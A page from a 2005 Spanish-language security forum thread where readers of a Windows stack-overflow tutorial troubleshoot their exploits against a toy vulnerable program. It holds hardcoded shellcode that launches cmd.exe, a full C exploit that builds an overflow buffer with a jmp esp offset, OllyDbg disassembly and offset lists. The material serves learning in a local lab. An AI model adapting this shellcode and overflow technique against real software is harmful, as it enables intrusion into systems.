elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
06 Octubre 2008, 20:22  



+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderadores: sirdarckcat, berz3k)
| | |-+  <-!-> Taller de Stack Overflows en Windows, por Rojodos
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 [2] 3 4 Ir Abajo Imprimir
Autor Tema: <-!-> Taller de Stack Overflows en Windows, por Rojodos  (Leído 19556 veces)
PK2

Desconectado Desconectado

Mensajes: 9


¡Amo YaBB SE!


Ver Perfil
Re: Texto por Rojodos: EXPLOITS Y STACK OVERFLOWS EN WINDOWS - LEEDLO!
« Respuesta #15 en: 19 Febrero 2005, 12:45 »

Sigo sin poder hacer funcionar el exploit.

1ro. La shellcode funciona, cuando  ejecuto el código que solamente tiene que devolver una shell funciona.

2do. Me está costando encontrar el problema por que no logro seguirle el rastro al programa (debugearlo), no se si lo que hago es lo correcto. Lo que estoy haciendo es abrir el programa con el OllyDbg y pasarle como parámetro la cadena + el offset + el shellcode, pero me parece que esto está mal por que donde antes me aparecía 52525252 (a Rojodos le aparecia 54545454) a mi me aparece 4630785C (que en ascii es F0x\ - la primera parte del offset - que está alrevéz por el tema de LITTLE ENDIAN) que es donde debería estar la dirección a donde ir a buscar el JMP ESP (77F8980F).  Pienso que esto pasa por que estoy usando el OllyDbg ya que si se lo paso al argumento con el exploit, creo (creo) que si llega a la dir deseada (77F8980F) y ahí aparece otro problema (no se cual).

Quisiera saber si esto está mal.

Quisiera saber como puedo debugearlo correctamente.

Ayuda.
En línea
PK2

Desconectado Desconectado

Mensajes: 9


¡Amo YaBB SE!


Ver Perfil
Re: Texto por Rojodos: EXPLOITS Y STACK OVERFLOWS EN WINDOWS - LEEDLO!
« Respuesta #16 en: 19 Febrero 2005, 14:14 »

Más cosas.

Cuando hice la primera shellcode para ver si funcionaba, esta lo hace muy bien, la pase por el OllyDbg y llama sin problemas al offset del system (77BF8044); pero cuando el exploit tiene que ir hasta esa dirección (una ves ya cargada el resto de la shellcode) me dice que no encuntra la dirección (77BF8044),; esto logré hacerlo metiendo todos los opcodes a mano, los que no logro cargar todavía automáticamente.

Por que será?

Gracias.

 ??? ??? ??? ??? ???
Esto me está quemando la cabeza.
En línea
Rojodos
"If you wanna be free, you must be different"

Desconectado Desconectado

Mensajes: 3.525



Ver Perfil
Re: Texto por Rojodos: EXPLOITS Y STACK OVERFLOWS EN WINDOWS - LEEDLO!
« Respuesta #17 en: 19 Febrero 2005, 17:14 »

Vamos a ver, antes de nada, no le puedes meter al olly por argumentos "\xF0" por ejemplo, porque tomara \ por un lao, x por otro, F por otro y 0 por otro, es decir, tu quieres que \xF0 sea un byte no? Es que el olly te lo toma por 4 bytes \-x-F-0

Para eso deberias saber su conversion en ASCII (como \x41 = A), o hacerlo a traves de un programa que ejecute el programa vulnerable y le meta los opcodes por parametro, como el "exploit" en C que pongo al final, usando execv().

Tambien puedes crear un mini programita en C que te printee la shellcode por pantalla (su conversion a ascii claro), copiar+pegar en el olly el resultado. Asi tambien puede funcionar.

En cuanto al tema del offset, ten en cuenta, que la shellcode necesita que msvcrt.dll este cargada en el programa vulnerable. Si compilas el programa con Dev Cpp, como lo hize yo, la cargara automaticamente, pero no se si pasa eso al usar otro compilador, como VC++.

En ese caso, en el programa vulnerable tienes que añadir, detras de main(), esto:

Código:
LoadLibrary ("msvcrt.dll");

Si no te reconocoe LoadLibrary, mete el include "windows.h".

A ver si asi das con la tecla :)

Salu2
En línea
PK2

Desconectado Desconectado

Mensajes: 9


¡Amo YaBB SE!


Ver Perfil
Re: Texto por Rojodos: EXPLOITS Y STACK OVERFLOWS EN WINDOWS - LEEDLO!
« Respuesta #18 en: 22 Febrero 2005, 01:42 »

 :D
Listo. Funciona. El problema era que no cargaba la dll ntdll.

Gracias. :)
En línea
ynos

Desconectado Desconectado

Mensajes: 4


Ver Perfil
Re: Texto por Rojodos: EXPLOITS Y STACK OVERFLOWS EN WINDOWS - LEEDLO!
« Respuesta #19 en: 22 Febrero 2005, 03:26 »

Tengo un problema, al intentar compilar el codigo vuln1.c con Dev-C++ me da muchos errores,  ???no le falta nada a ese codigo ??? porquee creo que declara a "funcion" pero nunca la invoca.

Si alguien me puede ayudar gracias
Salu2
En línea
Crack_X
Anti-War
Colaborador

Desconectado Desconectado

Mensajes: 2.324


Peace & Love


Ver Perfil WWW
Re: Texto por Rojodos: EXPLOITS Y STACK OVERFLOWS EN WINDOWS - LEEDLO!
« Respuesta #20 en: 22 Febrero 2005, 03:38 »

Tengo un problema, al intentar compilar el codigo vuln1.c con Dev-C++ me da muchos errores,  ???no le falta nada a ese codigo ??? porquee creo que declara a "funcion" pero nunca la invoca.

Si alguien me puede ayudar gracias
Salu2

Ve al foro de programacion general y publica tus errores ahi te podemos ayudar.
En línea

Shit loads of money spend to show us wrong from right. Say no to war


Yasser Has Things To Say
WarZone
PK2

Desconectado Desconectado

Mensajes: 9


¡Amo YaBB SE!


Ver Perfil
Re: Texto por Rojodos: EXPLOITS Y STACK OVERFLOWS EN WINDOWS - LEEDLO!
« Respuesta #21 en: 22 Febrero 2005, 13:09 »

#include <string.h> es todo lo que le falta al programa vulnerable.  ;)
En línea
ynos

Desconectado Desconectado

Mensajes: 4


Ver Perfil
Re: Texto por Rojodos: EXPLOITS Y STACK OVERFLOWS EN WINDOWS - LEEDLO!
« Respuesta #22 en: 22 Febrero 2005, 13:39 »

Ya he solucionado el problema con el programa vulnerable, muchas gracias  ;)
Pero ahora tengo otros problema:
Al utilizar el findjmp.exe para localizar el JMP ESB en los dll que utiliza el programa no encuentro ninguno, ¿hay algun reemplazo u otra forma de realizar de ese paso?

Alguien me puede ayudar porque sino no puedo probar el exploit..
Gracias y salu2  :)
En línea
PK2

Desconectado Desconectado

Mensajes: 9


¡Amo YaBB SE!


Ver Perfil
Re: Texto por Rojodos: EXPLOITS Y STACK OVERFLOWS EN WINDOWS - LEEDLO!
« Respuesta #23 en: 23 Febrero 2005, 00:25 »

ynos: es probable que estés usando mal el findjmp.exe. Por que no decis como lo hacés lo correcto sería:

findjmp ntdll.dll esp (tal como lo dice el manual  ;)

Digo que quizás lo uses mal por que yo no tube ningún problema. Quizás no.
En línea
ynos

Desconectado Desconectado

Mensajes: 4


Ver Perfil
Re: Texto por Rojodos: EXPLOITS Y STACK OVERFLOWS EN WINDOWS - LEEDLO!
« Respuesta #24 en: 23 Febrero 2005, 02:33 »

No no, lo estoy usando tal y como dice el manual, el problema es que en ningun dll de los que utiliza el programa hay un JMP ESP, mira esta es la respuesta del programa despues de ejecutarlo:

Scanning ntdll.dll for code useable with the esp register
Finished Scanning ntdll.dll for code useable with the esp register
Found 0 usable addresses


Nose que hacer para reemplazar ese paso o hacerlo de otra forma
En línea
Croken

Desconectado Desconectado

Mensajes: 16


Ver Perfil
Re: Texto por Rojodos: EXPLOITS Y STACK OVERFLOWS EN WINDOWS - LEEDLO!
« Respuesta #25 en: 11 Junio 2005, 18:18 »

pues rojodos mil graciass ;D buenisimo el txt :D espero q hagas otro mas avanzado asi aprendo mas :D
saludos
En línea
STN666

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Re: Texto por Rojodos: EXPLOITS Y STACK OVERFLOWS EN WINDOWS - LEEDLO!
« Respuesta #26 en: 16 Junio 2005, 03:37 »

Me a parecido un buen manual,pero me gustaria saber algo mas,Rojodos si no t importa agregarme o mandame un e-mail y hablaremos.

Mi correo juasjuas666@hotmail.com

Muchas gracias
   
      Juarez.
En línea
Dark_Knight

Desconectado Desconectado

Mensajes: 98



Ver Perfil
Re: Texto por Rojodos: EXPLOITS Y STACK OVERFLOWS EN WINDOWS - LEEDLO!
« Respuesta #27 en: 06 Julio 2005, 01:03 »

Hola

Que hago si no encuentro esto:

0040B4EC  |. 55             PUSH EBP  <---- Aquí empieza nuestra shellcode
0040B4ED  |. 8BEC           MOV EBP,ESP
0040B4EF  |. 33FF           XOR EDI,EDI
0040B4F1  |. 57             PUSH EDI
0040B4F2  |. 83EC 04        SUB ESP,4
0040B4F5  |. C645 F8 63     MOV BYTE PTR SS:[EBP-8],63
0040B4F9  |. C645 F9 6D     MOV BYTE PTR SS:[EBP-7],6D
0040B4FD  |. C645 FA 64     MOV BYTE PTR SS:[EBP-6],64
0040B501  |. C645 FB 2E     MOV BYTE PTR SS:[EBP-5],2E
0040B505  |. C645 FC 65     MOV BYTE PTR SS:[EBP-4],65
0040B509  |. C645 FD 78     MOV BYTE PTR SS:[EBP-3],78
0040B50D  |. C645 FE 65     MOV BYTE PTR SS:[EBP-2],65
0040B511  |. 8D45 F8        LEA EAX,DWORD PTR SS:[EBP-8]
0040B514  |. 50             PUSH EAX
0040B515  |. BB 4480BF77    MOV EBX,77BF8044
0040B51A  |. FFD3           CALL EBX  <--- Aqui acaba nuestra shellcode

donde o como puedo saber donde empieza la shellcode si esto no me aparece ó me aparece diferente...y como compilo la shellcode en visual c++ , ya que cuando la intento compilar me aparecen errores y a lo mejor es porque no lo estoy haciendo bien....GRACIAS   ;D  ;D
En línea

El hombre no puede crear nada sin antes dar algo a cambio... para crear... algo del mismo valor debe perderse.... esa es la ley de la equivalencia de intercambio... y el que desafie esa ley se convertira en un desafio de las creencias del ser humano y de la existencia de dios....
sch3m4
Colaborador

Desconectado Desconectado

Mensajes: 1.528

Nihil est in intelectu quod prius not fuerit insen


Ver Perfil
Re: Texto por Rojodos: EXPLOITS Y STACK OVERFLOWS EN WINDOWS - LEEDLO!
« Respuesta #28 en: 28 Agosto 2005, 17:32 »

Tengo otro problema, y es que la la shellcode tiene el caracter "|" y me toma lo que hay despues como un comando, y no me deja ejecutarlo. Aqui os pogo las diferencias de los offsets y demas del tuto con respecto a mi equipo (WinXP Pro SP2 Esp).

Citar
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRR+offset+shellcode
(EIP se rellena con "RRRR")                                                                   

MIO:
55 8B EC 33 FF 57 83 EC 04 C6 45 F8 63 C6 45 F9 6D C6 45 FA 64 C6 45 FB 2E C6 45 FC 65 C6 45 FD 78 C6 45 FE 65 8D 45 F8 50 BB C793BF77 FF D3

TUTO:
55 8B EC 33 FF 57 C6 45 FC 63 C6 45 FD 6D C6 45 FE 64 8D 45 FC 50 BB 4480BF77 FF D3

[MIO]
Olly: ESP 0012FF88
      EIP 52525252

[TUTO]
Olly: ESP 55555555
      EIP 54545454

Offset kernel32.dll esp: 0x7C82385D
Offset tuto:             0x77E81941

Offset system: 0x77bf93c7
Offset tuto:   0x77bf8044

Offset ntdll.dll esp (jmp esp): 0x7C951EED
Offset tuto:                    0x77F8980F

Aqui el "exploit":
Código:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void main()
{
/*para provocar el stack overflow*/
char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQ";
/*la shellcode que ejecuta system("cmd.exe"); con la llamada a system hardcodeada*/
    char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45"
"\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50"
"\xBB\xC7\x93\xBF\x77\xFF\xD3";
/*offset al que saltar para ejecutar la shell*/
//Offset jmp esp ntdll32.dll WinXP SP2 Esp
    char offset[]="\xED\x1E\x95\x7C";

    strcat(evilbuffer,offset); //Concatenamos a evilbuffer el offset del jmp esp
    strcat(evilbuffer,shellcode); //Concatenamos a evilbuffer+offset la shellcode

/*
    printf ("Cadena + offset + shellcode en formato printable\n\n");
    printf ("%s", evilbuffer);
*/
/*
    argv[0] = "vuln1"; //Definimos el argumento1, es decir, el nombre del vuln1
    argv[1] = evilbuffer; //Definimos el argumento2, o sea, el argumento de vuln1
    argv[2] = NULL; // Apunta a 0, porque no metemos mas argumentos
*/

char *buffer;buffer=(char *) malloc((strlen(evilbuffer)+strlen("stack.exe")+5)*sizeof(char));
strcpy(buffer,"stack.exe ");strcat(buffer,evilbuffer);
system(buffer);

return;
}

Ya he leido que los opcodes de la shellcode son diferentes, y que el EIP se rellena con 52525252 en vez de 54545454 porque rojodos lo compilo con Dev-Cpp

Os dejo la salida que me da cuando lo ejecuto desde el VC++
Citar
"U<ì3ÿWƒì♦ÆEøcÆEùmÆEúdÆEû.ÆEüeÆEýxÆEþe?EøP»Ç"¿wÿÓ" no se reconoce como un comand
o interno o externo,
programa o archivo por lotes ejecutable.
Press any key to continue

Y la string completa que explota el programa.
Código:
stack.exe AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQÝ▲ò|Uïý3 Wâý♦ãE°cãE¨mãE·dãE¹.ãE³eãE²xãE■eìE°P╗Ãô┐w Ë

Pd: En mi caso, el programa vulnerable se llama "stack.exe"

Pd2: Rojodos no sabes las veces k me he leido el tuto intentando encontrar el error que tengo xD

============= EDITADO =============
lo he debuggeado con olly pasandole como parametro esto:

Citar
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50\xBB\xC7\x93\xBF\x77\xFF\xD3

Pero en el EIP se meten "QQQQ" asi que se las quito, y me queda asi: http://img312.imageshack.us/img312/5522/dibujo7ln.png

Pero incluso quitandole las "QQQQ" del exploit me dice lo mismo
« Última modificación: 28 Agosto 2005, 17:42 por Lympex » En línea

Proyecto Open Source (GNU) - PExtractor v0.19b

"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(...)"
Nosferatu

Desconectado Desconectado

Mensajes: 226


Euskadi, bat eta askea!


Ver Perfil
Re: Texto por Rojodos: EXPLOITS Y STACK OVERFLOWS EN WINDOWS - LEEDLO!
« Respuesta #29 en: 03 Septiembre 2005, 12:51 »

Me sorprende no haber visto este buenisimo texto antes! ;D
Pero tengo una duda. En el manual pone que puede que se haga otro para exploiting en linux. Se ha echo ya?
Lo que me interesa es programar mi primer exploit para usarlo contra un windows sp2 que tengo, pero quisiera compilarlo y usarlo en linux. Creo que lo que varia tiene algo que ver con la cabecera windows.h (o algo asi) y como en linux no hay, no se puede compilar

Existe algun modo, o texto que me indique como "traducir" el source resultante para compilarlo y usarlo sobre plataformas linux?

muchas gracias de antemano y saludos!! :D
En línea

Triste zaudenean, triste zaudenean, pentsa esazu, zure lagun onenean
Páginas: 1 [2] 3 4 Ir Arriba Imprimir 
Ir a:  







Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.6 | SMF © 2006-2008, Simple Machines LLC
Free counter and web stats